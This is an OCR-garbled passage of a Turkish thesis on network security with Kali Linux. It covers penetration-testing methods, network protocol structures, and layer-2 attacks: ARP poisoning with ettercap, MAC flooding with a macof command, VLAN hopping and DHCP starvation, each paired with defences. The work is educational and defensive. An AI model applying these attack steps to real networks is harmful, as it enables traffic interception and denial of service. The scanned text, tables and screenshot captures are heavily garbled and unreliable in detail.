Genel olarak Kali iizerindeki araglart smiflandirmak ve anlatmak gerekirse giris
boliimiinde genel olarak bir isletim sistemi kullanicisinin isine yarayacak olan medya

oynaticis1, metin editdrii ve benzeri uygulamalarin hepsi yiiklii olarak gelir. Istege gore
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indirme yapilabilecek birgok uygulamayir da destekler. Asil Kali’yi 6zel yapan
uygulamalar Resim 5.3’de yer alan Kali Linux sekmesi altinda yer alir. Bu sistem
genellikle bilgi edinme, zayiflik analizi, web ve sifre ataklari, kotliye kullanma araglari,
network dinleme araglari, siirekli ulasim, tersine miihendislik, stres testleri, donanim

hackleme araglari, adli bilisim ve raporlama araglarini barindirir.

Genel olarak bakildiginda her biri ayr1 uzmanlik isteyen bilgi giivenligi konularinda bu
kadar genis bir arag¢ toplulugunu barindirtyor olmasi bile bilgi glivenligi profesyonelleri

icin Kali’yi vazgecilmez kilmaktadir.

Kali Linux'un daha 6nceki evrelerde ¢ikan ve bircok kisi tarafindan bilinen Backtrack
Linux giivenlik isletim sisteminin en son siiriimii oldugunu da belirtmek gerekir. Bu

stirlimle beraber isim degisikligine gidilmistir.

5.4.1 Sizma Testleri ve Cesitleri

Sizma testleri genel olarak 3 ana sinifa ayrilir.

1. Siyah kutu sizma testi: Bu yontemde testleri gerceklestiren kisi sistemi tamamen
disaridan test eder. Testi yapilan kurumla hi¢bir baglanti kurmadan hacker mantig1
ile olabilecek en gercekei sekilde test eder (Kim 2014).

2. Gri kutu sizma testi: Bu yontemde siyah kutu sizma tekniginde oldugu gibi
kurumdan herhangi bir bilgi alinmadan gergeklestirilir, farkli olarak kullanici
hatalarina kars1 ¢oztimler iiretip sistemi glivenli kilmaya calisir.

3. Beyaz kutu sizma testi: Bu yontemde kurum i¢inde bilgi alinarak kurumun i¢ yapisi

da incelenir, kaynak kod incelemesi yapilir (Bozkurt 2014).

Sizma testleri yapilirken giivenilir bir yol haritasina sahip olmak, yani iyi bir metodoloji
belirlemek basar1 sansimizi artirir. Bu testler siyah sapkali hacker denilen bilgisayar
sistemlerine girig yaparak bilgileri elde eden bunlar1 kar amaciyla baskalarina satan,
sistemlere zarar veren kisileri onlemek icin yapilir (Sahin 2012). Giivenlik testleri

konusunda bazi kurum ve kuruluslar tarafindan yapilar olusturulmustur. Bunlarin en
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onemlileri asagida verilmistir.

e Web uygulamalar1 giivenlik projesi ( OWASP)

e Web uygulama giivenligi konsorsiyumu tehdit siniflandirmasi ( WASC-TC)
¢ Bilgi sistemleri giivenligi degerlendirme ¢ercevesi (ISSAF)

e Acik kaynak giivenlik test metodolojisi kilavuzu (OSSTMM)

Kali Linux arag diziliminden de anlasilabilecegi gibi belirli bir metotla sistemli agamali
olarak hareket etme zorunlulugu vardir. Genel olarak bir 6nceki asama bir sonraki

asama i¢in bilgi sagladigindan kopmaz bir parcalar biitiinii gibi algilanabilir.

Bu esnada saldirgan bakis agisina sahip olup asagida belirtilen agamalar sirasiyla

gerceklestirilmelidir.

1- Bilgi toplama: Hedef sistem hakkinda sizmanin ¢esitli sekmelerinde kullanilabilecek
"whois" sorgusu gibi yontemlerle teknik bilgi sahibi olmanin yani sira sosyal
mithendislik kozunu da oynayabilmek i¢in kurum yapis1 ve hiyerarsik diizen gibi

bilgiler dis diinyadan edinilebilir.

2- Isletim sistemi ve aktif yap: hakkinda bilgi edinme asamasidir. Edinilen bilgiler ve
tasnifleri: Bu kisimda hedef hakkinda edinilen bilgiler ve bu bilgilerle olusturulacak

zayiflik haritalart meydana getirilir.

Bu asamaya kadar gerceklestirilen saldirilar iyi bir zayiflik tarayici ve atak haritalama
yazilimi ile rahatca yapilabilir. Ornek olarak vermek gerekirse birinci asamada "whois"
sorgusu benzeri bir yontemle hedef alanin IP’si (internet Protokolii) belirlenip daha
sonra bu IP veya IP araligma, yliklemis ve kullanmakta oldugumuz Resim 5.4’te
goriilen Kali Linux tizerinde ¢alisan ve iicretsiz bir zayiflik tarama araci olan Openvas
yazilimi ile zayiflik taramasi yapilir. Bu nokta Nessus gibi icretli yazilimlarda

kullanilabilir (Anonim 2011).
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Resim 5.4 Openvas yazilimi ile zayiflik tarama ¢iktisi.

Bundan sonra belirlenen zayifliklar kullanilan yazilim tarafindan raporlanarak verilir.
Bu noktadan sonra genel olarak sisteme ait zayifliklardan faydalanilmaya caligilir.
Kullanima uygun bulunan bir yontem tam bu noktada anlatilmalidir. Yazilim ayni

zamanda nicel olarak ¢esitli bilgiler vermektedir.

Bazi iicretsiz ve licretli yazilimlar tarafindan yapilabilen "attack graph" yani saldirilarin
grafikleri ¢ikartma ydntemi ile birgok alternatif bakis agis1 kazamlabilir. Ucretsiz olarak
Openvas ile yaptigimiz taramanin raporunu Mulval denilen "attack graph" yaraticisi
istliinde c¢alistirdigimizda bize bir¢ok saldir1 kombinasyonu hakkinda bilgi verebilir

(Pritchett 2014).
Bu yontemin sagladigi istiinliik daha ¢ok karmasik ag yapilarinda hedefe ulagmak igin

en kisa yolu bulmak adina tercih edilebilir, ayrica farkli ulasim ¢esitlemelerinde gecis

yaparken her defasinda en zayif ya da kolay olani tercih edebiliriz (Bowling 2015).
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Sekil 5.1 Ag yapis1 ornegi.

Yukaridaki Sekil 5.1°de temel bir ag yapist 6rnegi verilmistir. Saldirganin network
disinda oldugu diisliniilerek Nessus ile yapilan zafiyet taramasi bilgileri ve network
haritas1 Mulval’a yiiklenmis, bunlarin sonucu olarak asagidaki saldiri kombinasyon
haritas1 ortaya c¢ikmistir. Burada belirtilmesi gereken tiim bu araglar aslinda beyaz
sapkal1 bir hacker ya da network gilivenlik sorumlusunun kendi agiklarini daha net tespit

edebilmesi i¢in yapilmis olup bunun tersi kullanimlar i¢inde ¢okg¢a kullanilmaktadir.
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Sekil 5.2 Attack graph.

Bu kisimdan sonra tespit edilen zayifliklara Sekil 5.2°de simiile edildigi gibi ya direkt
olarak kodlarla sizma saldirilar1 yapilabilir ya da "exploit" denilen kotiiye kullanim
araclan ile sizma denemeleri yapilabilir. Buraya kadar olan kisimda sistem giivenligi
adina temel bilgiler verilerek bir saldirt mekanizmasinin isleyisi kismen incelenmistir.
Devam edilen boliimlerde bu mekanizmada kullanilabilecek hazir araglar ve

kullanicilarin kendi yazabilecegi kodlardan 6rnekler verilecektir.

34



5.4.2 Test ve Degerlendirme Asamalarina Baslamadan Once Bilinmesi Gereken

Bilgiler

Network yapisinin tam olarak nasil isledigine OSI (A¢ik Sistemler Baglantisi ) ve DOD

(Savunma Departmani) katmanlariin incelenmesi ile baglamak gerekmektedir.

5.4.2.1 OSI Katmanlar1

Degisik isletim sistemlerine sahip makinelerin birbirleriyle haberlesmelerini saglayan
OSI referans modeli 1978 yilinda International Organizations of Standart tarafindan

olusturulmustur.

Bilgisayarlar arasindaki iletisimi saglayan bu sistemde katmanlardan her biri ihtiyag
sebebi ile ortaya ¢ikmis ve sirasiyla birbirleriyle haberlesmektedirler. OSI referans

modeli yedi katmandan olusur.

o Fiziksel katman: Fiziksel katman fiziksel kanallar {izerinden yapilan, 0 veya 1 olarak
yapilan elektriksel tanimlamalarin siirdiiriilmesi, sonlandirilmasi, veri iletim hizi ve

verinin ulagabilecegi en uzak mesafenin belirlendigi katmandir.

e Veri baglantis1 katmani: Fiziksel olarak gelen verileri parcalar haline getirmekten
sorumludur. Bu kisimda olusturulan parga (frame) yapisinin igerisinde baslangic
paketi, hedef adresi, kaynak adres, kontrol bilgisi, veri ve hata denetimi vardir. Bu
katmanda MAC (Medya Ulasim Kontrolii) adresi kullanilarak bilgisayarlarin
birbirlerini farkli sekilde tanimalari saglanir. MAC adresleri birinden farkli olup
iiretim sirasinda tanimlanir. Ayrica parga iletimi sirasinda bir hata olusmussa bu fiist

katmanlara iletilir.
e Ag katmani: Mantiksal adresleme ile iki u¢ arasindaki veri iletimini saglar. Farkli

aglar iizerinde bulunan bilgisayarlara yonlendirme ve ayni zamanda farkli boyutlarda

gelen parcalarin birlestirilerek paket haline doniistiiriildiigii katmandir. Bu katmanda
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kullanilan en énemli protokoller IP (Internet erisim protokolii), IPX (Aglar Arasi
Paket Degisimi), BGP (Sinir ag ge¢idi protokolii), OSPF (Oncelikli olarak kisa rotayi
kullan), RIP (Yo6nlendirme Bilgi Protokolii) olarak sayilabilir.

[letim katmani: Bilgisayarlarin arasinda hiz ayar1 yaparak veri iletimi saglamasinin
yani sira tek fiziksel baglanti iizerinden birg¢ok iletim baglantisi saglar. Hata denetimi
yaparak bozulmus kisimlar belirlenir ve yeniden iletim saglanabilir. Katmanin
kullandig1 baz1 protokoller TCP (Iletim denetim protokolii) , UDP (Kullanic1 Veri
Blogu Iletisim Protokolii), SPE (Sirali paket degisimi ), SMB (Sunucu Mesaj Blogu)

olarak sayilabilir.

Oturum katmani: Sunum katmani veya uygulama katmani diizeyinde veri akisini
kontrol eden bu katman aymi zamanda port katmani olarak adlandirilir. Portlar
bilgisayarlarin birbirileri arasinda iletisim kurmalarini saglar, HTTP (Hiper Metin
Aktarim Protokolii) hizmetleri port 80 {izerinden calisir. Bu katmanin onemli
protokolleri RPC (Uzaktan Yordam Cagrisi), SQL (Yapisal sorgu dili), NetBIOS (Ag
Temel Giris/Cikis Sistemi) olarak sayilabilir.

Sunum katmani: ASCII (Bilgi degisimi i¢in Amerikan standart kodlama sistemi),
binary, EBCDIC gibi veri gosterim tiirleri ile verilerin gosterimini saglayan
katmandir. Verilerin sifrelenmesi, sikistirilmasi ve ASCII EBCDIC doniistimleri bu
katmanda yapilir. Katmanin kullandigi baslica protokoller arasinda GIF (Grafik
doniisiim bi¢imi), JPEG (Birlesik Fotograf Uzmanlar1 Grubu), MPEG (Hareketli
Gériintii Uzmanlar Gurubu), ASCII , HTML (Hiper Metin Isaret Dili) sayilabilir.

Uygulama katmani: A§ kaynaklarma erisim saglayan arabirimleri olusturmakta
kullanilir ve FTP (Dosya Iletim Protokolii), TELNET komut yiiriitme islevselligi
olan uygulamalara 6rnek gosterilebilir. Baslica protokolleri arasinda FTP, HTTP,
SMTP(Yalin elektronik posta iletim protokoli)) ve SNMP (Yalin ag yoOnetim
protokolil) sayilabilir. OSI modelinin yukarida belirtilen katmanlar1 arasinda veri
akist sirasinda ¢ikartilip eklenen bashiklar vardir. Bu bagliklarim veri ile

olusturduklar1 birim uygulama protokolii veri birimi olarak adlandirilir. Sunum
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katmani kendisine ait olan PCI (Cevresel Bileseni Baglantis1) bilgisine APDU
(Uygulama Protokolii Veri Birimi) ekleyerek PDU (Sunum Protokolii Veri Birimi)
olusturur. En son olarak treyler (trailer) hata denetimi alan1 veri baglanti katmaninda

eklenir.

5.4.2.2 DOD Katmanlari

OSI katmanlari gelistirilmeden 6nce DOD tarafindan dort katmandan olusan bir model
kullanilmaktaydi. Internet teknolojisi DOD modeli iistiine insa edilmistir.

Ag erisim katmani: OSI modelindeki veri baglant1 ve fiziksel katmana denk gelir.

Aglar aras1 katmani: OSI modelindeki ag katmanina denk gelir.

Bilgisayarlar aras1 katman: OSI modelindeki iletim katmanina denk gelir.

Islem uygulama katmani: OSI katmanindaki oturum, sunum ve uygulama katmanlarina

denk gelir.

5.4.2.3 OSI ve DOD Katmanlan

OSI modeli ile bu model gelistirilmeden 6nce katmansal ag uzlasi protokolii olarak
kullanilan DOD modeli asagida cizelge 5.1’de karsilastirilmistir. Bu karsilastirmada

goriildiigii gibi katman isimleri degisse de yaptiklar1 gorevler degismemektedir.

Cizelge 5.1 OSI ve DOD katmanlar karsilastirilmasi.

Uygulama
Uygulama Sunum
Oturum
fletim fletim
Internet Ag
Network Arabirimi Veri Baglanti
Donanim Fiziksel
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6. ETHERNET II CERCEVESI VE MAC

6.1 MAC nedir?

MAC adresi ethernet agi iizerinde haberlesen cihazlarin baska bir esi olmayan
adresleridir. Yap1 olarak 6 bayttan olusur. ilk ii¢ bayt iiretici firmay1, sonraki 3 bayt ise
bu firma tarafindan verilen seri numarasini temsil eder. Ethernet I ¢ercevesi ve yapisi

Cizelge 6.1°deki gibi olmaktadir.

Cizelge 6.1 Ethernet II ¢ergeve yapisi.

Baslangig Hedef Adres Kaynak Adres TIp Data FCS

8 byte 6 byte 6 byte 2 byte 1500 byte 4 byte

6.2 IP Adres Yapisi ve IP Simiflan

TCP/IP aglart olusu sirasinda tiim noktalara verilen internet adreslerine IP denir. Bu
yap1 genel olarak IPV4 (32 bit) ve IPV6 (128bit) olmak iizere ikiye ayrilir. Suan IPV4
daha aktif olarak kullanilmakta olup yakin bir gelecekte ihtiyaci karsilamayacagi igin
kismen kullanilmaya baslanan IPV6’ya tam gecis yasanmak zorunda kalacaktir. IPV4

adres yapisi net ID ve host ID olmak tizere iki kisimdan olugur.

Net ID baglantida olunan aglar1 tanimlamakta kullanilirken, host ID tam olarak ag
icerisindeki bilgisayarlar1 tanimlamakta kullanilirlar. Internet datagram yonlendirme

semasina gore IP lige ayrilir:
A sifi; Ilk oktet Net ID, geri kalan ii¢ oktet host ID tanimlar.

B simifi; 11k iki oktet Net ID, geri kalan iki oktet host ID tanimlar.
C smnufi; 11k {i¢ oktet Net ID, geri kalan bir oktet host ID tanimlar.
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Ayrica D simifi "multicasting" icin E smifi da gelecek icin saklaniyor, seklinde

nitelendirilir. Cizelge 6.2°de IP baslik yapis1 gosterilmistir.

Cizelge 6.2 IP baglik yapisi.

Versiyon Baslik Uzunlugu Servis Tipi Toplam Uzunluk
1D Bayraklar Fragmentation Offseti
TTL Sonraki Protokol Checksum
Kaynak Adres
Hedef Adres
Segenekler
Payload
6.3 ARP Protokolii

Ethernet aglarinda IP ve MAC adreslerinin eslesmeleri gerekir. Bu gereksinim veri
katmanimnin fiziksel donanmimlar kullanmasindan kaynaklanir. Fiziksel adreslerin
karsiligi olan IPV4 adreslerini belirleyen ARP (Adres Coziimleme Protokolili ) adres
¢Oziimleme protokoliidiir. Ayrica internet lizerindeki iletisimi saglamak tizere isimlerle
IP adresleri arasinda iliski kuran DNS (Alan Adi Sistemi) protokoliidiir. Bir ag
icerisinde bir bilgisayarin ARP calisma mantig1 sirasi ile bilgisayardan yapilan ARP
istek paketi yollanmasiyla baslar. Bu paket igerisinde istek yapan bilgisayarin I[P, MAC
adreslerini istek yapilan bilgisayarinsa IP adresini i¢erir. Tiim noktalara yollanan ARP

istegi sonucu istenilen IP' ye sahip olan bilgisayar kars1 tarafa ARP yanit paketini yollar.
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Cizelge 6.3 ARP paket yapisi.

Donanim Protokol Nlen Plen Operasyon Gonderen Gonderen Hedef Hedef IP
Tirt Tiird Tird NA IP Adres NA Adres
Hedef NA Kaynak NA Ethernet Tipi ARP CRC

ARP isteginde bulunan bilgisayar ile istek yaptig1 bilgisayar ayni agda ise direkt MAC
belirlenerek eslesme tamamlanabilir (Dirican 2007). Ancak istek yapilan bilgisayar ayni
ag icerisinde degilse diger aglarda arama yapmak iizere yonlendirici bulunulmasina
gecilir. Ciinkii ARP paketleri yalniz baslarina sadece kendi ag bolgelerinde arama
yapabilirler, bundan sonrasina yonlendirici ile ¢ikabilirler. Ayrica Cizelge 6.3’te ARP

paket yapisi1 incelenmistir.

6.4 ICMP Protokolii

IP protokiilinde hata kontrolii yoktur, bu agigi ICMP (Internet Denetim Iletisi
Protokolii) protokolii kapatir. Genel olarak bilenen kullanimi "ping" sirasinda
"echorequest"e karsilik olarak "echoresponse" gelmesini saglayarak cihazlarin sistem
icerisinde ulasilabilirliklerini ve ag i¢i ulasim zamanlamasini gostermede etkili olur.

Cizelge 6.4’te ICMP protokolii gosterilmistir.

Cizelge 6.4 ICMP baslik yapisi.

Tipi Kodu Checksum
Segenekler

IP Cergevesi

6.5 TCP ve UDP Protokolleri

TCP protokolii iletim katmaninda baglantili ve giivenli iletisim saglama gorevini yerine

getirir. Giivenli veri akimi ve kontroller i¢in ¢esitli yontemler kullanir. UDP protokoli
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de aglar arasinda paket aktarimi ig¢in tasarlanmistir. Ancak kendi i¢inde meydana
gelebilecek hatalarin kontrolii i¢in bir mekanizmasi1 yoktur. Ayrica Cizelge 6.5 ve
Cizelge 6.6’da sirasiyla TCP ve UDP baslik yapisi sematize edilmistir (Yildirimoglu
2009).

Cizelge 6.5 TCP baslik yapisi.

Kaynak Port Hedef Port

Sira Numarast
Bilgi Numarasi

Data offset Reversed Bayraklar Pencere

Check Sum Urgent Pointer

Secenekler

Bilgi

Cizelge 6.6 UDP baslik yapisi.

Kaynak Port Hedef Port
Paket Uzunlugu Check Sum
Bilgi
6.6 DHCP Protokolii

DHCP (Dinamik Host Konfigiirasyon Protokolii) Cizelge 6.7 gosterildigi gibi DHCP
protokolii ag iizerinde bulunan bilgisayarlar1 yapilandirir, aga baglanan bilgisayarlar
[P’lerini DHCP iizerinden alirlar. UDP protokoliinii ve port 67’yi kullanarak iletisim
kurar.

Cizelge 6.7 DHCP protokolii paket yapisi.

Op htype hlen hops
xid
Secs Bayraklar

ciaddr

yiaddr
siaddr

giaddr

chaddr

sname

Dosya

Segenek
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6.7 DNS Protokolii

Internetin dogusuyla ortaya cikan internet protokolii sorgulamasi yapilan IP’leri
isimlere, isimleri ise protokollere ¢cevirmeye yarar (Tibitak Ulakbim 2011). Hiyerarsik

gosterimi Sekil 6.1°de gosterildigi gibidir.

Kok Alan
Isimleri

|
tr .net internet .com
.org

R

kmu.com

| |
A | A |

www.kmu.com ftp.kmu.com

fletim ID QR |Islem | A T R R Z A C R
Tiirii A C D A D D | kodu
Toplam Sorgu
Sayist Toplam Yanit Sayisi
Kaynak Kayit
Sayisi Kaynak Ek Kayit Sayis1
Sorgular
Yanit RRs
Yetkili RRs
Ek RRs

Sekil 6.1 DNS protokolii mesaj yapist.
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6.8 HTTP Protokolii

HTTP protokolii sayesinde linkler ile istenilen herhangi bir yerden bilgilere ulagilmasi
saglanir. Istemci ile sunucu arasinda baglanti kurar. Uygulama katmaninda calisir ve

genel anlamiyla sunuculardan dokiiman talep eder ve TCP protokolii tabanlidir.

Baslica protokol komutlar1 sunlardir:

Options: Sunucu ile istemci arasinda iletisim tercihleri belirlenir.

Get: Dokiiman erisim istegi yapar.

Head: Get metodu ile aynidir, caligma farklilig1 nedeni ile get daha hizlidir.
Post: URL ile yollanan verilerin sunucu tarafindan kabuliinii saglar.

Put : URL ile gonderilen veriyi sunucuya kayit eder.

Delete : URL ile tanimlanan verilerin silinmesi gerektigini bildirir.

Trace: Hata kontrol amacli kullanilir.

Connect: Proxylerle beraber kullanilir, tiinel agmaya yarar.

HTTP'i paketinin yasam dongiisii asagidaki gibidir:

1- ARP istegi

2- ARP cevap

3- DNS sorgusu

4- DNS cevap

5- TCP syn

6- TCP syn+ack

7- TCP ack

8- HTTP get

9- Baglant1 sonlandirilmast

Ag igerisinde paket yayilma ¢esitleri asagidaki gibidir:
Unicast: Bir paketin dogrudan dogruya gidecegi yere iletilmesi seklinde gergeklesen

iletisimdir.
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Broadcast: Bir paketin sisteme bagli biitiin noktalara iletilmesi seklinde gergeklesen
iletisimdir.
Multicast: Paketin sadece istenilen yerlere yonlendirilmesiyle seklinde ger¢eklesen

iletigimdir.
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7.YAPILAN BASLICA SALDIRILAR

Bilgi giivenligi kapsaminda degerlendirilecek olan veri sadece uygulamanin son
kullanicilara sundugu veriler degildir. Veri tanimini; saklanan veri ve taginan veri olmak
tizere ikiye ayirmak miimkiindiir. Taginan verinin gizliligi tasarima gore degisiklik
gosterebilir ve farkli katmanlarda gergeklestirilebilir (Anonim 2014). Bu verilerin
istenilen hedeflere ulasimini engellemek ya da verileri kendi iizerine alarak verilerdeki
bilgilerden yararlanmak igin sistemlere saldirilar yapilabilir. Bu saldirilarin
gergeklesmesini saglayan ¢ok sayida yazilimlar ve teknikler vardir. Saldir1 tekniklerinin
detayli olarak anlatildig1 ve hatta giiclii saldir1 araglarinin satildigir "darkweb" diye
adlandirilan ikinci bir web diinyas1 vardir (Eddy 2015).

Asagida bilgi glivenligi konusunda gesitli saldir tiplerinden 6rnekler verilmistir.

7.1 ARP Saldirilar

ARP protokoliiniin  kullanildig1r ethernet aglarinda protokoliin agikliklarindan
faydalanarak yapilan saldir1 g¢esitleridir (Anonim 2010). Burada temel olarak anlatmak
gerekirse internet baglantilarimizda kullandigimiz internet ¢oklayici mantigindaki hub
cihazt MAC adreslerini lizerinde tutmadig1 i¢in {izerine gelen biitiin paketleri biitlin
portlarina yollar, bu da portlarinda bulunan bilgisayarlardan herhangi birinde
"promiscuous" (ayirim yapmaksizin) modda agi dinliyorsa bu agdaki biitliin trafigi
dinleyebilir. ARP poisoning ile ARP 6nbellegi degistirilen/zehirlenen sistemler, "Man
in the Middle" (ortadaki adam) saldirilari i¢in hazir hale gelmis olur (Elbahadir 2010).

Giiniimiizde hublardan daha ¢ok kullanilan switch cihazlari MAC adreslerini
tizerilerinde bulundurduklarindan hangi paketin hangi porta gidecegini bilirler ve ona
gbre davranirlar. Normal durumlarda bu agda veri dinlemek miimkiin degildir. Ama

yapilabilecek basit saldirilarla bu switchler hub gibi ¢alismaya zorlanabilir.
Diger bir adiyla "Man in the Middle" saldirisinda A, B, C olmak {izere ii¢ adet

bilgisayar oldugunu diisiinelim. Burada A ve B bilgisayarlar1 haberlesirken C bilgisayar1

onlar1 dinlemek ve verilerini almak niyetindedir.
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A bilgisayar1 lizerinden B bilgisayarinin MAC adresini 6grenmek iizere yollanan istek
icin C bilgisayar1 araya girerek kendi MAC adresini sanki B’ nin MAC adresi olarak A'
ya tanitir. Ayn1 zamanda iki makine arasinda iletisim kopuklulugu olmamasi adina ayni
sekilde B bilgisayarmi da kandirir. Boyle bir durum yaratildiginda artitk A ile B
arasindaki biitlin trafik C iizerinden gecger ve istenilen veriye ulasilmis olur. Sekil 7.1°de

saldir1 6ncesi normal trafik akis1 Sekil 7.2' de saldir1 sonrasi trafik akisi gosterilmistir.

Normal Trafik Akigi

| ———
f Dl —tstemei—> (S — voniendiici—»

e /

Saldirgan

Sekil 7.1 Saldir1 6ncesi normal trafik akigi.

Saldin Soonrasi Trafik Akisi

7

7

—____m

Saldirgan

Sekil 7.2 Saldir1 sonrasi trafik akisi.



Belirtilen saldirinin Windows iizerinden Cain & Abel ve Kali Linux {izerinden de
Resim 7.1°de verilen "ettercap" programi aracilifiyla saldir1 yapilisi gosterilmistir.
"Ettercap", ARP poisoning (ARP zehirleme), Network sniff (ag dinleme) ve "Man in
the Middle" (Aradaki Adam) gibi saldirt tiirlerinde kullanilabilecek ¢cok Onemli bir

aractir (Demirez 2011).
3

Applications Places & Thu May 21, 12:23 PM

ettercap 0.8.0

Start Targets Hosts View ‘E\Lters Logging Plugins 2

Host List W Arp poisoning...

lcmp redirect...

IP Address MAC Addres
Port stealing...

192168641  00:50:56:CC -
Dhcp spoofing...

192.168.64.254 00:50:56;E8  STOp mitm attack(s)

Resim 7.1 Kali Linux ettercap programa.

Burada Kali Linux iizerinden network sniffing sekmesi altindaki etternal araci ile

yapilan saldirinin asamalarin1 anlatmak gerekirse:

Ik olarak program calistirilarak hangi tiir sniffing yapilacag: seceneklerinden unified
isaretlenir. Bu kisimda iki se¢enek vardir, bridged olarak ikinci secenek eger default

haricinde ikinci kademe bir ethernet lizerinden sniffing yapilacaksa kullanilir.

Ikinci olarak kurban tespiti i¢in host scan yapilir.Ugiincii olarak arp poisoning segilir ve
sniff baglatilir. Son olarak da sniff durdurulup secilen hostun detaylar1 izlenerek gerekli

bilgi alinir.

Ayni1 iglemi Kali tizerinde ytiklii gelen Python programlama dili ve ag yazilimlar {istline
programcinin isini kolaylastiran Scapy kiitiiphanesi ile de yapabiliriz (Int.Kyn.1). Bu
kiitiiphaneyi kullanarak yazilan program kodlar1 Ek 1’de verilmistir.

ARP saldirilarindan korunmak i¢in Oncelikle arpwatch, arpalert gibi hazir yazilimlar

kullanabiliriz. Bu yazilimlar IP-MAC arasindaki eslesmenin kontrol edilmesi burada bir
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degisiklik olmasi durumunda haber vermesi mantigiyla calisir. Statik arp tablolar
tutulmasi da alinabilecek baska yontemler arasindadir. En uygun ve pratik yontemse
switchler lizerinde DHCP snooping ve ARP inspection konfigiirasyonlarinin yapilmis

olmasidir.

7.2 MAC Flooding Atag:

MAC flooding ataginin dayandigi ve bilinmesi gereken iki gercek vardir. lki
bilinmeyen unicast tagsmas1 mekanizmasinin isleyisi, ikincisi ise biitiin ethernet anahtar
cihazlarimin MAC tablolarinda sinirli sayida MAC adresi tutabilmeleridir (Usta 2015).
Bu atak tipinde switchler lizerinde tutulan ARP tablolarinin belirli bir sayida
tutulmasindan yararlanilir. Saldirgan bir programcikla siirekli MAC adresi yollayarak
ARP tablosunun dolmasini ve cihazin hub gibi ¢alismasini saglar. Sekil 7.3’te MAC

flooding atag1 verilmistir.

Mac Flooding

Switch

Saldirgan———

Sekil 7.3 MAC flooding atagi.
Kali Linux iizerinde var olan Macof yazilim ile bu saldir1 kolayca yapilabilir. {1k olarak

sisteme baglandigimiz ara yiizii tespit eder buradan da komut satirindan program

calistirilir.
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I i~# Lfconflg

Link encap:Local Loopback

inet addr:127.0.68.1 Mask:255.3.0.0

inet6 addr: ::1/128 Scope:Host

UP LOOPBACK RUNNING MTU:65536 Metric:l

RX packets:B0B errors:0 dropped:0 overruns:0 frame:0

TX packets:808 errors:® dropped:@ overruns:0 carrier:d
collisions:0 txqueuslen:0

RX bytes:716161 (699.3 KiB) TX bytes:716161 (699.3 KiB)

Link encap:Ethernet Hwaddr bd:b6:76:a7:a8:2a

inet addr:10.8.1.169 Bcast:10.8,1.255 Mask:255.255.255.0
inet6 addr: feBO::b6b6:76ff:fea7:aBaa/64 Scope:Link

UP BROADCAST RUNNING MULTICAST MTU:1566 Metric:l

RX packets:37996 errors:0 dropped:® overruns:0 frame:0

TX packets:9549 grrors:® dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:lB68

RX bytes:32874644 (31.3 MiB) TX bytes:1251192 (1.1 MiB)

Lhost ;~# []

rootiilocalhost :~# macof -1 etha

Resim 7.2 Macof ara yiizii.

Ayni islemi Kali tizerinde yiiklii gelen Python programlama dili ve ag yazilimlari iistiine
programcinin igini kolaylastiran Scapy Kiitiiphanesi ile beraber yazilan program kodlar1
Ek 2’de verilmistir. Phyton programlama dili network giivenlik programlari yaziliminda

oldukca kullanigh ve hizli sonug alinan bir aragtir (Ballman 2015).

Bu saldirtyr 6nlemek ig¢in port giivenligi konfigiirasyonu, unicast tasmasi sinirlama
konfigilirasyonu gibi dnlemler alinabilir. Mac kilidi fonksiyonu da bunlardan biridir.

Resim 7.2’de Macof programu ile saldir1 yapilig1 gosterilmistir.

7.3 VLAN Hopping

Yerel ag yapilarinda farkli bolgeler olusturmak ve gercek IP konusundaki yetersizlikten
dolay1 sanal aglar yani vlanlar olusturulur. Farkli vlanlara paket yollayabilmek i¢in ilk
olarak switch iizerinde normalde "trunk" yapilmamig port "trunk" yapilarak ve ayrica
gonderilen pakete gerekli vlan eki konularak farkli vlanlara ulasilabilir. Cizelge 7.1°de

vlanlar aras1 gecis paket yapist verilmistir.
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Cizelge 7.1 Vlanlar aras1 gecis paket yapisi.

Hedef MAC Kaynak MAC 8100 5 8100 50 Ethernet Tipi Data

Etiketsiz gitmesi gereken paket etiketli gider ve switch tarafinda ikinci bir paket
koyulur. Pratikte bunun g¢aligabilmesi i¢in gonderilen vlan native olmalidir. Bu saldir1
ilk asamada tehlikeli degil gibi goziikse de bu yontemle yonetim vlanina gecip burada

sniff yapma olasilig1 diisiiniildiigiinde tehlikeli oldugu goriiliir.

Ayni islemi Kali tizerinde yiikli gelen Python programlama dili ve ag yazilimlari iistiine
programcinin igini kolaylastiran Scapy Kiitiiphanesi ile beraber yazilan program kodlar1
Ek 3’te verilmistir. Bu saldirinin 6ncelikli 6nlemi switchte ilk konfigiirasyon yapilirken

portlar vlan tanimlamalar1 yapilabilir. Boylece higbir port native vlanda kalmaz.

7.4 DHCP Protokoliine Yapilan Saldirilar

DHCP kurumsal aglarda IP dagitimin1 otomatik olarak yapan protokoldiir.
Ayarlandiginda IP MAC eslesmesi yaparak bir [P nin hangi MAC tarafindan rezerve

edildigini bilir ve buna gore o IP belli bir siire o bilgisayara ayrilir.

Bu sisteme yonelik saldirilarda yapay MAC adreslerinden IP rezerve istekleri yapilarak
IP havuzu doldurulur, tabi bu esnada aym1 zamanda switchin ARP tablosu da

doldurulmus olur.
Bu durumda switch aptallasir duruma gelmis ve DHCP havuzunda hi¢ IP kalmamis

olur. Saldirgan kendini DHCP dagitici olarak ortama tanitir ve biitlin trafigi lizerinde

gecirebilir. Sekil 7.4’te IP havuzu tiiketilmesi atag1 gdosterilmistir.

50



Yeni DHCP Daditacak
sunucu benim ! iP kalmadi !

g Sadirgegn——— 5

—Sahte maclerle [P Istegi—

Sekil 7.4 DHCP IP havuzu tiiketilmesi atag1.

Ayni islemi Kali lizerinde yiiklii gelen Python programlama dili ve ag yazilimlar {istiine
programcinin isini kolaylastiran Scapy Kiitiiphanesi ile beraber yazilan program kodlar1
Ek 4’te verilmistir. Bu saldir1 icin DHCP ile ag arasina koyulmus bir IPS cihazi ile
engelleme yapilabilir. Ayrica MAC kilidi kullanimi, DHCP de statik kayit kullanimu,
DHCP snooping konfigiirasyonu ve DHCP oranlarinda sinirlama 6nlemleri alinabilir.

Resim 7.3’te Yersinia programi ile DHCP IP havuzu tiiketilmesi atagi gosterilmistir.

de Protocols Actioms Optioms Help
i = = = [ . &, # a
sunchattack Bt incerfaces Load defactt List attacks Clear stats  Capture Edit mode [
tocols Packets COP| DHCP 8021G 80Z1% OTF HMSRP ISL MPLS STP VTP Tersmaiog
Y Sip oip Count La
2 6.6 192 1
= 10804 1% 1
o
]
o Cheose attack
- COP| DHCF |B0Z1Q BOZLX DIP HSRP ISL MPLS TP VTP
o
Chouse attack
wlé Valun Descripion Dos
* sandng RAW packer
[~ serding DISCOVER packet
w creating DHCP rogue server
